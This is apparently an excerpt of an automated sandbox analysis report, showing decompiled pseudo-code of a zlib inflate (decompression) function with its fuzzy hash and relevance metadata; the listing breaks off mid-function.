Instruction Fuzzy Hash: B962CDB5A04B129FC708CF29C49066AB7E2FFC8314F540A2EE8969B781D774E855CF91

Uniqueness

Uniqueness Score: -1.00%

Function 001D4F10 Relevance: .7, Instructions: 663
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E001D4F10() {
				signed char* _t714;
				signed int _t716;
				signed char* _t760;
				signed int* _t765;
				signed int _t779;
				signed int* _t789;
				signed int _t793;
				signed int _t800;
				void* _t807;

				_t765 =  *(_t807 + 4);
				if(_t765 == 0) {
					L356:
					return 0xfffffffe;
				} else {
					_t789 = _t765[7];
					 *(_t807 + 0x18) = _t789;
					if(_t789 == 0 || _t765[3] == 0 ||  *_t765 == 0 && _t765[1] != 0) {
						goto L356;
					} else {
						if( *_t789 == 0xb) {
							 *_t789 = 0xc;
						}
						_t779 = _t789[0xe];
						 *(_t807 + 0x14) = _t765[3];
						_t714 = _t765[4];
						 *(_t807 + 0x14) = _t714;
						 *(_t807 + 0x20) = _t714;
						_t800 = _t765[1];
						 *((intOrPtr*)(_t807 + 0x28)) = 0;
						_t716 =  *_t789;
						 *(_t807 + 0x10) =  *_t765;
						 *(_t807 + 0xc) = _t779;
						 *(_t807 + 0x34) = _t800;
						_t793 = _t789[0xf];
						if(_t716 > 0x1e) {
							L176:
							return 0xfffffffe;
						} else {
							 *(_t807 + 0x3c) =  &(_t789[0x15]);
							_t760 =  *(_t807 + 0x14);
							do {
								switch( *((intOrPtr*)(_t716 * 4 +  &M001D6534))) {
									case 0:
										_t718 = _t789[2];
										if(_t718 != 0) {
											__eflags = _t793 - 0x10;
											if(_t793 >= 0x10) {
												L17:
												__eflags = _t718 & 0x00000002;
												if((_t718 & 0x00000002) == 0) {
													L20:
													_t719 = _t789[8];
													_t789[4] = 0;
													__eflags = _t719;
													if(_t719 != 0) {
														 *(_t719 + 0x30) = 0xffffffff;
													}
													__eflags = _t789[2] & 0x00000001;
													if((_t789[2] & 0x00000001) == 0) {
														L32:
														_t765[6] = "incorrect header check";
														 *_t789 = 0x1d;
													} else {
														_t722 = (_t779 >> 8) + ((_t779 & 0x000000ff) << 8);
														__eflags = _t722 % 0x1f;
														_t779 =  *(_t807 + 0x10);
														if(_t722 % 0x1f != 0) {
															_t765 =  *(_t807 + 0x48);
															goto L32;
														} else {
															__eflags = (_t779 & 0x0000000f) - 8;
															if((_t779 & 0x0000000f) == 8) {
																_t726 = _t789[9];
																_t793 = _t793 - 4;
																_t779 = _t779 >> 4;
																 *(_t807 + 0x10) = _t779;
																_t771 = (_t779 & 0x0000000f) + 8;
																__eflags = _t726;
																if(_t726 != 0) {
																	__eflags = _t771 - _t726;
																	if(_t771 <= _t726) {
																		goto L28;
																	} else {
																		_t765 =  *(_t807 + 0x48);
																		_t765[6] = "invalid window size";
																		 *_t789 = 0x1d;
																	}
																} else {
																	_t789[9] = _t771;
																	L28:
																	_push(0);
																	_push(0);
																	_push(0);
																	_t789[5] = 1 << _t771;
																	_t729 = E001D6950();
																	_t784 =  *(_t807 + 0x1c);
																	_t807 = _t807 + 0xc;
																	_t765 =  *(_t807 + 0x48);
																	_t789[6] = _t729;
																	_t765[0xc] = _t729;
																	 *_t789 =  !(_t784 >> 8) & 0x00000002 | 0x00000009;
																	_t779 = 0;
																	 *(_t807 + 0x10) = 0;
																	_t793 = 0;
																}
															} else {
																_t765 =  *(_t807 + 0x48);
																_t765[6] = "unknown compression method";
																 *_t789 = 0x1d;
															}
														}
													}
												} else {
													__eflags = _t779 - 0x8b1f;
													if(_t779 != 0x8b1f) {
														goto L20;
													} else {
														_push(0);
														_push(0);
														_push(0);
														_t789[6] = E001D6BC0();
														_push(2);
														_push(_t807 + 0x24);
														 *(_t807 + 0x2c) = 0x8b1f;
														_push(_t789[6]);
														_t732 = E001D6BC0();
														_t779 = 0;
														_t789[6] = _t732;
														_t807 = _t807 + 0x18;
														 *(_t807 + 0x10) = 0;
														_t793 = 0;
														 *_t789 = 1;
														goto L174;
													}
												}
												goto L175;
											} else {
												while(1) {
													__eflags = _t800;
													if(_t800 == 0) {
														goto L101;
													}
													_t755 = ( *_t760 & 0x000000ff) << _t793;
													_t760 =  &(_t760[1]);
													_t779 = _t779 + _t755;
													 *(_t807 + 0x14) = _t760;
													_t793 = _t793 + 8;
													 *(_t807 + 0x10) = _t779;
													_t800 = _t800 - 1;
													__eflags = _t793 - 0x10;
													if(_t793 < 0x10) {
														continue;
													} else {
														_t718 = _t789[2];
														_t765 =  *(_t807 + 0x48);
														goto L17;
													}
													goto L357;
												}
												goto L101;
											}
										} else {
											 *_t789 = 0xc;
											goto L175;
										}
										goto L357;
									case 1:
										__eflags = __esi - 0x10;
										if(__esi >= 0x10) {
											L37:
											 *(__edi + 0x10) = __edx;
											__eflags = __dl - 8;
											if(__dl == 8) {
												__eflags = __edx & 0x0000e000;
												if((__edx & 0x0000e000) == 0) {
													__ecx =  *(__edi + 0x20);
													__eflags = __ecx;
													if(__ecx != 0) {
														__edx = __edx >> 8;
														__eax = __edx >> 0x00000008 & 0x00000001;
														__eflags = __eax;
														 *__ecx = __eax;
													}
													__eflags =  *(__edi + 0x10) & 0x00000200;
													if(( *(__edi + 0x10) & 0x00000200) != 0) {
														 *(__esp + 0x18) = __dl;
														__eax = __esp + 0x18;
														_push(2);
														__eflags = __edx;
														_push(__eax);
														 *(__esp + 0x21) = __dl;
														_push( *(__edi + 0x18));
														__eax = E001D6BC0();
														__esp = __esp + 0xc;
														 *(__edi + 0x18) = __eax;
													}
													__edx = 0;
													 *__edi = 2;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													goto L48;
												} else {
													 *(__ecx + 0x18) = "unknown header flags set";
													 *__edi = 0x1d;
													goto L175;
												}
											} else {
												 *(__ecx + 0x18) = "unknown compression method";
												 *__edi = 0x1d;
												goto L175;
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x10;
												if(__esi < 0x10) {
													continue;
												} else {
													__ecx =  *(__esp + 0x48);
													goto L37;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 2:
										__eflags = __esi - 0x20;
										if(__esi >= 0x20) {
											L50:
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 4) = __edx;
											}
											__eflags =  *(__edi + 0x10) & 0x00000200;
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												__eax = __edx;
												 *(__esp + 0x18) = __dl;
												__eax = __edx >> 8;
												 *(__esp + 0x19) = __al;
												__edx = __edx >> 0x10;
												 *(__esp + 0x1a) = __al;
												__eax = __esp + 0x18;
												_push(4);
												__eflags = __edx;
												_push(__eax);
												 *(__esp + 0x23) = __dl;
												_push( *(__edi + 0x18));
												__eax = E001D6BC0();
												__esp = __esp + 0xc;
												 *(__edi + 0x18) = __eax;
											}
											__edx = 0;
											 *__edi = 3;
											 *(__esp + 0x10) = 0;
											__esi = 0;
											goto L57;
										} else {
											while(1) {
												L48:
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x20;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L50;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 3:
										__eflags = __esi - 0x10;
										if(__esi >= 0x10) {
											L59:
											__ecx =  *(__edi + 0x20);
											__eflags = __ecx;
											if(__ecx != 0) {
												__eax = __dl & 0x000000ff;
												 *(__ecx + 8) = __dl & 0x000000ff;
												__ecx = __edx;
												__eax =  *(__edi + 0x20);
												__ecx = __edx >> 8;
												__eflags = __ecx;
												 *( *(__edi + 0x20) + 0xc) = __ecx;
											}
											__eflags =  *(__edi + 0x10) & 0x00000200;
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x18) = __dl;
												__eax = __esp + 0x18;
												_push(2);
												__eflags = __edx;
												_push(__eax);
												 *(__esp + 0x21) = __dl;
												_push( *(__edi + 0x18));
												__eax = E001D6BC0();
												__esp = __esp + 0xc;
												 *(__edi + 0x18) = __eax;
											}
											__edx = 0;
											 *__edi = 4;
											 *(__esp + 0x10) = 0;
											__esi = 0;
											__eflags = 0;
											goto L64;
										} else {
											while(1) {
												L57:
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x10;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L59;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 4:
										L64:
										__eflags =  *(__edi + 0x10) & 0x00000400;
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 0x10) = 0;
											}
											goto L75;
										} else {
											__eflags = __esi - 0x10;
											if(__esi >= 0x10) {
												L68:
												__eax =  *(__edi + 0x20);
												 *(__edi + 0x40) = __edx;
												__eflags = __eax;
												if(__eax != 0) {
													 *(__eax + 0x14) = __edx;
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													 *(__esp + 0x18) = __dl;
													__eax = __esp + 0x18;
													_push(2);
													__eflags = __edx;
													_push(__eax);
													 *(__esp + 0x21) = __dl;
													_push( *(__edi + 0x18));
													__eax = E001D6BC0();
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
												}
												__ecx = 0;
												__esi = 0;
												 *(__esp + 0x10) = 0;
												L75:
												 *__edi = 5;
												goto L76;
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L101;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__edx = __edx + __eax;
													 *(__esp + 0x14) = __ebx;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__eflags = __esi - 0x10;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L68;
													}
													goto L357;
												}
												goto L101;
											}
										}
										goto L357;
									case 5:
										L76:
										__eflags =  *(__edi + 0x10) & 0x00000400;
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											L88:
											 *(__edi + 0x40) = 0;
											 *__edi = 6;
											goto L89;
										} else {
											__ecx =  *(__edi + 0x40);
											__eflags = __ecx - __ebp;
											__ecx =  >  ? __ebp : __ecx;
											 *(__esp + 0x30) = __ecx;
											__eflags = __ecx;
											if(__ecx != 0) {
												__edx =  *(__edi + 0x20);
												__eflags = __edx;
												if(__edx != 0) {
													__eax =  *(__edx + 0x10);
													 *(__esp + 0x14) = __eax;
													__eflags = __eax;
													if(__eax != 0) {
														__eax =  *(__edx + 0x14);
														__eax =  *(__edx + 0x14) -  *(__edi + 0x40);
														__edx =  *(__edx + 0x18);
														 *(__esp + 0x34) = __eax;
														__eflags = __eax - __edx;
														__eax =  *(__esp + 0x34);
														if(__eflags <= 0) {
															__edx = __ecx;
														} else {
															__edx = __edx - __eax;
														}
														__eflags = __eax;
														__eax = E001D8850(__eax, __ebx, __edx);
														__ecx =  *(__esp + 0x3c);
													}
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													_push(__ecx);
													_push(__ebx);
													_push( *(__edi + 0x18));
													__eax = E001D6BC0();
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x30);
												__ebx = __ebx + __eax;
												__ebp = __ebp - __eax;
												 *(__esp + 0x14) = __ebx;
												_t151 = __edi + 0x40;
												 *_t151 =  *(__edi + 0x40) - __eax;
												__eflags =  *_t151;
											}
											__eflags =  *(__edi + 0x40);
											if( *(__edi + 0x40) != 0) {
												goto L101;
											} else {
												goto L88;
											}
										}
										goto L357;
									case 6:
										L89:
										__eflags =  *(__edi + 0x10) & 0x00000800;
										if(( *(__edi + 0x10) & 0x00000800) == 0) {
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 0x1c) = 0;
											}
											goto L113;
										} else {
											__eflags = __ebp;
											if(__ebp == 0) {
												goto L101;
											} else {
												__ecx = 0;
												__eflags = 0;
												while(1) {
													__eax =  *(__ecx + __ebx) & 0x000000ff;
													__ecx = __ecx + 1;
													 *(__esp + 0x30) = __eax;
													__eax =  *(__edi + 0x20);
													__eflags = __eax;
													if(__eax != 0) {
														__edx =  *(__eax + 0x1c);
														__eflags =  *(__eax + 0x1c);
														if( *(__eax + 0x1c) != 0) {
															__edx =  *(__edi + 0x40);
															__eflags = __edx -  *((intOrPtr*)(__eax + 0x20));
															if(__edx <  *((intOrPtr*)(__eax + 0x20))) {
																__eax =  *(__eax + 0x1c);
																__ebx =  *(__esp + 0x30);
																 *(__eax + __edx) = __bl;
																_t167 = __edi + 0x40;
																 *_t167 =  *(__edi + 0x40) + 1;
																__eflags =  *_t167;
																__ebx =  *(__esp + 0x14);
															}
														}
													}
													__eax =  *(__esp + 0x30);
													__eflags = __eax;
													if(__eax == 0) {
														break;
													}
													__eflags = __ecx - __ebp;
													if(__ecx < __ebp) {
														continue;
													}
													break;
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												 *(__esp + 0x34) = __ecx;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													_push(__ecx);
													_push(__ebx);
													_push( *(__edi + 0x18));
													__eax = E001D6BC0();
													__ecx =  *(__esp + 0x40);
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x30);
												}
												__ebx = __ebx + __ecx;
												__ebp = __ebp - __ecx;
												 *(__esp + 0x14) = __ebx;
												__eflags = __eax;
												if(__eax == 0) {
													L113:
													 *(__edi + 0x40) = 0;
													 *__edi = 7;
													goto L114;
												} else {
													goto L101;
												}
											}
										}
										goto L357;
									case 7:
										L114:
										__eflags =  *(__edi + 0x10) & 0x00001000;
										if(( *(__edi + 0x10) & 0x00001000) == 0) {
											__eax =  *(__edi + 0x20);
											__eflags = __eax;
											if(__eax != 0) {
												 *(__eax + 0x24) = 0;
											}
											goto L129;
										} else {
											__eflags = __ebp;
											if(__ebp == 0) {
												goto L101;
											} else {
												__ecx = 0;
												__eflags = 0;
												while(1) {
													__eax =  *(__ecx + __ebx) & 0x000000ff;
													__ecx = __ecx + 1;
													 *(__esp + 0x30) = __eax;
													__eax =  *(__edi + 0x20);
													__eflags = __eax;
													if(__eax != 0) {
														__edx =  *(__eax + 0x24);
														__eflags =  *(__eax + 0x24);
														if( *(__eax + 0x24) != 0) {
															__edx =  *(__edi + 0x40);
															__eflags = __edx -  *((intOrPtr*)(__eax + 0x28));
															if(__edx <  *((intOrPtr*)(__eax + 0x28))) {
																__eax =  *(__eax + 0x24);
																__ebx =  *(__esp + 0x30);
																 *(__eax + __edx) = __bl;
																_t212 = __edi + 0x40;
																 *_t212 =  *(__edi + 0x40) + 1;
																__eflags =  *_t212;
																__ebx =  *(__esp + 0x14);
															}
														}
													}
													__eax =  *(__esp + 0x30);
													__eflags = __eax;
													if(__eax == 0) {
														break;
													}
													__eflags = __ecx - __ebp;
													if(__ecx < __ebp) {
														continue;
													}
													break;
												}
												__eflags =  *(__edi + 0x10) & 0x00000200;
												 *(__esp + 0x34) = __ecx;
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													_push(__ecx);
													_push(__ebx);
													_push( *(__edi + 0x18));
													__eax = E001D6BC0();
													__ecx =  *(__esp + 0x40);
													__esp = __esp + 0xc;
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x30);
												}
												__ebx = __ebx + __ecx;
												__ebp = __ebp - __ecx;
												 *(__esp + 0x14) = __ebx;
												__eflags = __eax;
												if(__eax != 0) {
													goto L101;
												} else {
													L129:
													__edx =  *(__esp + 0x10);
													 *__edi = 8;
													goto L130;
												}
											}
										}
										goto L357;
									case 8:
										L130:
										__eflags =  *(__edi + 0x10) & 0x00000200;
										if(( *(__edi + 0x10) & 0x00000200) == 0) {
											L138:
											__ecx =  *(__edi + 0x20);
											__eflags = __ecx;
											if(__ecx != 0) {
												 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
												__eax =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												__eflags = __eax;
												 *(__ecx + 0x2c) = __eax;
												__eax =  *(__edi + 0x20);
												 *( *(__edi + 0x20) + 0x30) = 1;
											}
											_push(0);
											_push(0);
											_push(0);
											__eax = E001D6BC0();
											__ecx =  *(__esp + 0x54);
											__esp = __esp + 0xc;
											__edx =  *(__esp + 0x10);
											 *(__edi + 0x18) = __eax;
											 *(__ecx + 0x30) = __eax;
											 *__edi = 0xb;
											goto L175;
										} else {
											__eflags = __esi - 0x10;
											if(__esi >= 0x10) {
												L135:
												__eax =  *(__edi + 0x18) & 0x0000ffff;
												__eflags = __edx - __eax;
												if(__edx == __eax) {
													__ecx = 0;
													__esi = 0;
													__eflags = 0;
													 *(__esp + 0x10) = 0;
													goto L138;
												} else {
													__ecx =  *(__esp + 0x48);
													 *(__ecx + 0x18) = "header crc mismatch";
													 *__edi = 0x1d;
												}
												goto L175;
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L101;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__edx = __edx + __eax;
													 *(__esp + 0x14) = __ebx;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__eflags = __esi - 0x10;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L135;
													}
													goto L357;
												}
												goto L101;
											}
										}
										goto L357;
									case 9:
										__eflags = __esi - 0x20;
										if(__esi >= 0x20) {
											L144:
											__ecx = __edx;
											__edx = __edx << 0x10;
											__edx & 0x0000ff00 = (__edx & 0x0000ff00) + (__edx << 0x10);
											__edx = __edx >> 8;
											__ecx = (__edx & 0x0000ff00) + (__edx << 0x10) << 8;
											__eax = __edx >> 0x00000008 & 0x0000ff00;
											__eax = (__edx >> 0x00000008 & 0x0000ff00) + ((__edx & 0x0000ff00) + (__edx << 0x10) << 8);
											__edx = __edx >> 0x18;
											__ecx =  *(__esp + 0x48);
											__eax = __eax + __edx;
											__edx = 0;
											 *(__edi + 0x18) = __eax;
											 *(__esp + 0x10) = 0;
											__esi = 0;
											__eflags = 0;
											 *(__ecx + 0x30) = __eax;
											 *__edi = 0xa;
											goto L145;
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x20;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L144;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 0xa:
										L145:
										__eflags =  *(__edi + 0xc);
										if( *(__edi + 0xc) == 0) {
											__eax =  *(__esp + 0x20);
											 *(__ecx + 0xc) =  *(__esp + 0x20);
											__eax =  *(__esp + 0x1c);
											 *(__ecx + 0x10) =  *(__esp + 0x1c);
											__eax = 2;
											 *__ecx = __ebx;
											 *(__ecx + 4) = __ebp;
											 *(__edi + 0x3c) = __esi;
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											 *(__edi + 0x38) = __edx;
											return 2;
										} else {
											_push(0);
											_push(0);
											_push(0);
											__eax = E001D6950();
											__ecx =  *(__esp + 0x54);
											__esp = __esp + 0xc;
											__edx =  *(__esp + 0x10);
											 *(__edi + 0x18) = __eax;
											 *(__ecx + 0x30) = __eax;
											 *__edi = 0xb;
											goto L147;
										}
										goto L357;
									case 0xb:
										L147:
										__eax =  *(__esp + 0x4c);
										__eflags = __eax - 5;
										if(__eax == 5) {
											L339:
											__edi =  *(__esp + 0x10);
											__edx = __eax;
											goto L103;
										} else {
											__eflags = __eax - 6;
											if(__eax == 6) {
												goto L339;
											} else {
												goto L149;
											}
										}
										goto L357;
									case 0xc:
										L149:
										__eflags =  *(__edi + 4);
										if( *(__edi + 4) == 0) {
											__eflags = __esi - 3;
											if(__esi >= 3) {
												L154:
												__eax = __edx;
												__edx = __edx >> 1;
												 *(__edi + 4) = __eax;
												__eax = __edx;
												__eax = __edx & 0x00000003;
												switch( *((intOrPtr*)(__eax * 4 +  &M001D65B0))) {
													case 0:
														 *__edi = 0xd;
														goto L156;
													case 1:
														__eflags =  *(__esp + 0x4c) - 6;
														 *(__edi + 0x4c) = 0x1f1888;
														 *(__edi + 0x54) = 9;
														 *(__edi + 0x50) = 0x1f2088;
														 *(__edi + 0x58) = 5;
														 *__edi = 0x13;
														if( *(__esp + 0x4c) != 6) {
															L156:
															__ecx =  *(__esp + 0x48);
															__edx = __edx >> 2;
															__esi = __esi - 3;
															 *(__esp + 0x10) = __edx;
															goto L175;
														} else {
															__edx = __edx >> 2;
															__esi = __esi - 3;
															 *(__esp + 0x10) = __edx;
															goto L101;
														}
														goto L357;
													case 2:
														__ecx =  *(__esp + 0x48);
														__edx = __edx >> 2;
														__esi = __esi - 3;
														 *__edi = 0x10;
														 *(__esp + 0x10) = __edx;
														goto L175;
													case 3:
														__ecx =  *(__esp + 0x48);
														__edx = __edx >> 2;
														__esi = __esi - 3;
														 *(__esp + 0x10) = __edx;
														 *(__ecx + 0x18) = "invalid block type";
														 *__edi = 0x1d;
														goto L175;
												}
											} else {
												while(1) {
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L101;
													}
													__eax =  *__ebx & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebx & 0x000000ff) << __cl;
													__ebx = __ebx + 1;
													__edx = __edx + __eax;
													 *(__esp + 0x14) = __ebx;
													__esi = __esi + 8;
													 *(__esp + 0x10) = __edx;
													__ebp = __ebp - 1;
													__eflags = __esi - 3;
													if(__esi < 3) {
														continue;
													} else {
														goto L154;
													}
													goto L357;
												}
												goto L101;
											}
										} else {
											__ecx = __esi;
											 *__edi = 0x1a;
											__ecx = __esi & 0x00000007;
											__edx = __edx >> __cl;
											__esi = __esi - __ecx;
											 *(__esp + 0x10) = __edx;
											goto L174;
										}
										goto L357;
									case 0xd:
										__esi = __esi & 0x00000007;
										__edx = __edx >> __cl;
										__esi = __esi - (__esi & 0x00000007);
										 *(__esp + 0x10) = __edx;
										__eflags = __esi - 0x20;
										if(__esi >= 0x20) {
											L165:
											__eax = __edx;
											__ecx = __dx & 0x0000ffff;
											__eax =  !__edx;
											__eax =  !__edx >> 0x10;
											__eflags = __ecx - __eax;
											if(__ecx == __eax) {
												__edx = 0;
												 *(__edi + 0x40) = __ecx;
												__esi = 0;
												 *(__esp + 0x10) = 0;
												__eflags =  *(__esp + 0x4c) - 6;
												 *__edi = 0xe;
												if( *(__esp + 0x4c) == 6) {
													__edi = 0;
													goto L102;
												} else {
													__ecx =  *(__esp + 0x48);
													goto L169;
												}
											} else {
												__ecx =  *(__esp + 0x48);
												 *(__ecx + 0x18) = "invalid stored block lengths";
												 *__edi = 0x1d;
												goto L175;
											}
										} else {
											asm("o16 nop [eax+eax]");
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0x20;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L165;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 0xe:
										L169:
										 *__edi = 0xf;
										goto L170;
									case 0xf:
										L170:
										__eax =  *(__edi + 0x40);
										__eflags = __eax;
										if(__eax == 0) {
											 *__edi = 0xb;
											goto L175;
										} else {
											__eflags = __eax - __ebp;
											__eax =  >  ? __ebp : __eax;
											__eflags = __eax -  *(__esp + 0x1c);
											__eax =  >  ?  *(__esp + 0x1c) : __eax;
											 *(__esp + 0x34) = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												goto L101;
											} else {
												__eax = E001D8850( *(__esp + 0x28), __ebx, __eax);
												__eax =  *(__esp + 0x40);
												 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
												__ebx = __ebx + __eax;
												 *(__esp + 0x20) =  *(__esp + 0x20) + __eax;
												__ebp = __ebp - __eax;
												_t297 = __edi + 0x40;
												 *_t297 =  *(__edi + 0x40) - __eax;
												__eflags =  *_t297;
												 *(__esp + 0x14) = __ebx;
												goto L173;
											}
										}
										goto L357;
									case 0x10:
										__eflags = __esi - 0xe;
										if(__esi >= 0xe) {
											L183:
											__eax = __edx;
											__esi = __esi - 0xe;
											__eax = __edx & 0x0000001f;
											__edx = __edx >> 5;
											 *(__edi + 0x60) = __eax;
											__eax = __edx;
											__eax = __edx & 0x0000001f;
											__edx = __edx >> 5;
											 *(__edi + 0x64) = __eax;
											__eax = __edx;
											__eax = __edx & 0x0000000f;
											__edx = __edx >> 4;
											__eax = __eax + 4;
											 *(__esp + 0x10) = __edx;
											__eflags =  *(__edi + 0x60) - 0x11e;
											 *(__edi + 0x5c) = __eax;
											if( *(__edi + 0x60) > 0x11e) {
												L196:
												 *(__ecx + 0x18) = "too many length or distance symbols";
												 *__edi = 0x1d;
												goto L175;
											} else {
												__eflags =  *(__edi + 0x64) - 0x1e;
												if( *(__edi + 0x64) > 0x1e) {
													goto L196;
												} else {
													 *(__edi + 0x68) = 0;
													 *__edi = 0x11;
													goto L186;
												}
											}
										} else {
											while(1) {
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L101;
												}
												__eax =  *__ebx & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebx & 0x000000ff) << __cl;
												__ebx = __ebx + 1;
												__edx = __edx + __eax;
												 *(__esp + 0x14) = __ebx;
												__esi = __esi + 8;
												 *(__esp + 0x10) = __edx;
												__ebp = __ebp - 1;
												__eflags = __esi - 0xe;
												if(__esi < 0xe) {
													continue;
												} else {
													__ecx =  *(__esp + 0x48);
													goto L183;
												}
												goto L357;
											}
											goto L101;
										}
										goto L357;
									case 0x11:
										L186:
										__eax =  *(__edi + 0x68);
										__eflags =  *(__edi + 0x68) -  *(__edi + 0x5c);
										if( *(__edi + 0x68) >=  *(__edi + 0x5c)) {
											L192:
											__eflags =  *(__edi + 0x68) - 0x13;
											while( *(__edi + 0x68) < 0x13) {
												__eax =  *(__edi + 0x68);
												__ecx = 0;
												__eax =  *(0x1f2108 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												 *((short*)(__edi + 0x70 + ( *(0x1f2108 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __cx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
												__eflags =  *(__edi + 0x68) - 0x13;
											}
											__eax = __edi + 0x530;
											 *(__edi + 0x54) = 7;
											__ecx = __edi + 0x6c;
											 *(__edi + 0x4c) = __eax;
											 *__ecx = __eax;
											__edx = __edi + 0x54;
											__eax = __edi + 0x2f0;
											_push(__edi + 0x2f0);
											_push(__edi + 0x54);
											_push(__ecx);
											_push(0x13);
											__eax = __edi + 0x70;
											_push(__edi + 0x70);
											_push(0);
											__eax = E001D6E80();
											__esp = __esp + 0x18;
											 *(__esp + 0x2c) = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												 *(__edi + 0x68) = 0;
												 *__edi = 0x12;
												goto L198;
											} else {
												__ecx =  *(__esp + 0x48);
												__edx =  *(__esp + 0x10);
												 *(__ecx + 0x18) = "invalid code lengths set";
												 *__edi = 0x1d;
												goto L175;
											}
										} else {
											do {
												__eflags = __esi - 3;
												if(__esi >= 3) {
													goto L191;
												} else {
													while(1) {
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L101;
														}
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 3;
														if(__esi < 3) {
															continue;
														} else {
															goto L191;
														}
														goto L357;
													}
													goto L101;
												}
												goto L357;
												L191:
												__eax =  *(__edi + 0x68);
												__edx = __edx & 0x00000007;
												__edx = __edx >> 3;
												__esi = __esi - 3;
												 *(__esp + 0x10) = __edx;
												__eax =  *(0x1f2108 +  *(__edi + 0x68) * 2) & 0x0000ffff;
